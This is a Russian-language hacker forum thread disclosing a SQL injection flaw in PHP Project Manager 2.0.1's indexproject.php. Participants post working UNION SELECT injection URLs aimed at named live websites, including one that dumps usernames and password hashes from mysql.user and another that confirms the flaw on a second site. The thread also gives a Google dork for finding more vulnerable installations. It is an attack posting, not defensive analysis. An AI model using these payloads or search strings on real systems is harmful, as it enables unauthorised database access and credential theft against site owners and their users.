sql inj PHP Project Manager => 2.0.1

[BlackCats]

изначально уязвимость предполагалось для того чтобы меня взяли в моа, но т.к. меня послали - я её выкладываю.

PHP Project Manager
версия => 2.0.1
описание:
Уязвимость существует в сценарии indexproject.php из-за недостаточной обработки входных данных.
пример:
http://www.ia.unc.edu/dev/manager/indexproject.php?id=-35+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 32,33,34,35/*

на секлабе баги нету(ну и вроде в др местах тоже)

[Spyder]

хэк=)

[Colkru]

Молодец, правда скрипт не популярен, не думаю что в МОА было бы комуто интересно...
:)

[Rebz]

и это все??? нда, коварно..
я думал ты хоть подобрал названия таблиц..

[BlackCats]

и это все??? нда, коварно..
я думал ты хоть подобрал названия таблиц..

зачем? я же просто привёл пример.. и только-то..

[n1†R0x]

мде =\
http://www.ia.unc.edu/dev/manager/indexproject.php?id=-35+union+select+1,concat(user,0x3a,password),3,4,5 ,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 ,24,25,26,27,28,29,30,31,32,33,34,35+from+mysql.us er/*
это в sqlz можно..
:)

[BlackCats]

мде =\
http://www.ia.unc.edu/dev/manager/indexproject.php?id=-35+union+select+1,concat(user,0x3a,password),3,4,5 ,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 ,24,25,26,27,28,29,30,31,32,33,34,35+from+mysql.us er/*
это в sqlz можно..
:)

понимаеш в чём разница.. когда скуля на самописном сайте - это одно, а когда в движке, это другое.

[n1†R0x]

понимаеш в чём разница.. когда скуля на самописном сайте - это одно, а когда в движке, это другое.
порой самописные сайты бывают лучше защищены, чем средние Cms.
я понял твою мысль..

[BlackCats]

ну вот и хорошо :)
следующий..

[-=lebed=-]

следующий..
я ;)

Строка для поиска в гугл: inurl:indexproject.php?id

Мдя, не густо:

http://www.google.ru/search?hl=ru&q=inurl%3Aindexproject.php%3Fid&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=

и так тоже:

http://www.google.ru/search?hl=ru&newwindow=1&q=%22PHP+Project+Manager+2.0.1%22&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=

Ну да, скуль есть:

http://www.nuevoparadigma.com/proyectos/indexproject.php?id=-1+union+select+1,version(),3,4,user(),6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27, 28,29,30,31,32,33,34,35/*

PHP Project Manager 2.0.1 © 2004 - www.jomier.com
тока двиг не популярный...

[BlackCats]

:)))))))))
*с надеждой в голосе*
ну может это только пока... а потом скрипт станет мега популярным...

[Rebz]

тема переростает во флейм и она себя исчерпала.

[guest3297]

ммм если ты даешь пример sql то для этого есть тема, если ты даешь уязвимость в движке ты пишешь как и при каких условиях поднять права.

[BlackCats]

']ммм если ты даешь пример sql то для этого есть тема, если ты даешь уязвимость в движке ты пишешь как и при каких условиях поднять права.
нет, причём тут поднятие прав? на секлабе вродебы ничего про это нет...

[Rebz]

\6/, для тебя секлаб - самая высшая инстанция и авторитет??? Тогда мне тебя жаль..

[BlackCats]

ну я больше незна столь популярных багтреков